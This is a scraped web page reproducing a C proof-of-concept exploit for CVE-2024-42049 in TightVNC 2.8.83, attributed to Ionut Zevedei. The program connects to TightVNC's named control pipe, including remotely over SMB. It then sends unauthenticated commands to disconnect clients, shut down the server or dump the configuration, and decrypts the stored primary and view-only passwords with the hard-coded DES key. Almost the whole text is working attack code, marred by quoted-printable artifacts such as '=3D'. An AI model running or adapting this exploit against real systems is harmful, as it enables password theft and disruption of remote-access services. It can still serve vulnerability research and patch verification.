扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 |
# Exploit Title: TightVNC 2.8.83 - Control Pipe Manipulation # Date: 06/09/2025 # Exploit Author: Ionut Zevedei (mail@izvd.eu) # Exploit Repository: https://github.com/zeved/CVE-2024-42049-PoC # Vendor Homepage: https://www.tightvnc.com/ # Software Link: https://www.tightvnc.com/download.php # Version: 2.8.83 # Tested on: Windows 10 x64 - TightVNC 2.5.10, 2.8.81 # CVE : CVE-2024-42049 #include <windows.h>=20 #include <stdio.h> #include <conio.h> #include <tchar.h> #include "descrypt.h" #define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF) #define BUFFER_SIZE 512 #define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06 #define TVNC_CMD_GET_CLIENT_LIST0x04 #define TVNC_CMD_SHUTDOWN_SERVER0x07 #define TVNC_CMD_GET_SERVER_INFO0x11 #define TVNC_CMD_GET_CONFIG 0x12 const unsigned int commands[6] =3D { TVNC_CMD_DISCONNECT_ALL_CLIENTS, TVNC_CMD_GET_CLIENT_LIST, TVNC_CMD_SHUTDOWN_SERVER, TVNC_CMD_GET_SERVER_INFO, TVNC_CMD_GET_CONFIG, }; unsigned char des_key[8] =3D { 23, 82, 107, 6, 35, 78, 88, 7 }; void get_bytes(unsigned int data, unsigned char* out) { out[0] =3D GETBYTE(data, 3); out[1] =3D GETBYTE(data, 2); out[2] =3D GETBYTE(data, 1); out[3] =3D GETBYTE(data, 0); } // printf is wonky when printing passwords later void print_passwd(unsigned char* passwd) { for (int i =3D 0; i < 8; i++) { printf("%c", passwd[i]); } printf("\n"); } void print_error(unsigned long error_code) { unsigned char* buffer; =20 // damn it windows... FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, error_code, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &buffer, 0, NULL); printf("[error]: %s\n", buffer); } void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) { unsigned char primary_passwd[8] =3D { 0x00 }; unsigned char view_only_passwd[8] =3D { 0x00 }; printf("\n\tencrypted primary password: "); for (int i =3D 0; i < 8; i++) { primary_passwd[i] =3D buffer_ptr[offset + 8 + i]; printf("%02x ", primary_passwd[i]); } printf("\n\tencrypted view-only password: "); for (int i =3D 0; i < 8; i++) { view_only_passwd[i] =3D buffer_ptr[offset + i]; printf("%02x ", view_only_passwd[i]); } unsigned char primary_passwd_decrypted[8] =3D { 0x00 }; unsigned char view_only_passwd_decrypted[8] =3D { 0x00 }; decrypt(primary_passwd_decrypted, view_only_passwd, sizeof(primary_passwd_decrypted), des_key); decrypt(view_only_passwd_decrypted, primary_passwd, sizeof(view_only_passwd_decrypted), des_key); printf("\n\tdecrypted primary password: "); print_passwd(primary_passwd_decrypted); printf("\tdecrypted view-only password: "); print_passwd(view_only_passwd_decrypted); } BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) { unsigned long pipe_mode; BOOL result =3D FALSE; printf("[~] opening pipe %s...\n", pipe_name); while (1) { *handle_ptr =3D CreateFile( pipe_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL ); if (*handle_ptr !=3D INVALID_HANDLE_VALUE) { printf("[+] pipe opened\n"); break; } if (GetLastError() !=3D ERROR_PIPE_BUSY) { printf("[-] could not open pipe\n"); print_error(GetLastError()); return FALSE; } printf("[~] waiting for named pipe to be available - if this hangs the = pipe server might be dead.\n"); WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER); } pipe_mode =3D PIPE_READMODE_BYTE; result =3D SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL); if (!result) { printf("[-] failed setting pipe read mode\n"); print_error(GetLastError()); return result; } return result; } int main(int argc, char* argv[]) { HANDLEpipe_handle =3D NULL; unsigned char message[8] =3D { 0x00 }; unsigned char buffer[BUFFER_SIZE] =3D { 0x00 }; BOOLresult =3D FALSE; unsigned long bytes_read, bytes_written; unsigned intcmd_index =3D 0; unsigned intoffset =3D 30; if (argc < 3) { printf("usage: %s <command> <pipe> <offset?>\n", argv[0]); printf("offset - optional: default is 30 - change as needed\n"); printf("commands:\n"); printf("\t1 - disconnect all clients\n"); printf("\t2 - get client list\n"); printf("\t3 - shutdown server\n"); printf("\t4 - get server info\n"); printf("\t5 - get server config\n"); printf("example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Cont= rol\n"); printf("\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n"); return 0; } char* stop =3D NULL; cmd_index =3D strtol(argv[1], &stop, 10); if (stop =3D=3D '\0') { return 0; } cmd_index--; if (argc =3D=3D 4) { stop =3D NULL; offset =3D strtol(argv[3], &stop, 10); if (offset =3D=3D 0 || stop =3D=3D '\0') { return 0; } } if (!open_pipe(&pipe_handle, argv[2])) { goto exit; } printf("[i] sending command...\n"); =20 get_bytes(commands[cmd_index], message); result =3D WriteFile(pipe_handle, message, 8, &bytes_written, NULL); if (!result) { printf("[-] failed writing to pipe\n"); print_error(GetLastError()); goto exit; } printf("[~] message sent; waiting for reply\n"); do { result =3D ReadFile( pipe_handle, buffer, BUFFER_SIZE * sizeof(unsigned char), &bytes_read, NULL ); if (!result && GetLastError() !=3D ERROR_MORE_DATA) break; printf("[+] got %d bytes back!\n", bytes_read); printf("hex: \n\t"); for (int i =3D 0; i < bytes_read; i++) { printf("%02x ", buffer[i]); } printf("\nchar: \n\t"); for (int i =3D 0; i < bytes_read; i++) { printf("%c", buffer[i]); } printf("\n\n"); if (cmd_index =3D=3D 4) { printf("\n[~] command is get config, attempting to decrypt passwords = using offset %d...\n", offset); decrypt_passwords(&buffer, offset); } memset(buffer, 0, BUFFER_SIZE); } while (!result); if (!result) { printf("[-] failed reading from pipe\n"); print_error(GetLastError()); goto exit; } printf("\n[+] done\n\n"); exit: if (pipe_handle !=3D NULL) { CloseHandle(&pipe_handle); } return 0; } |
体验盒子
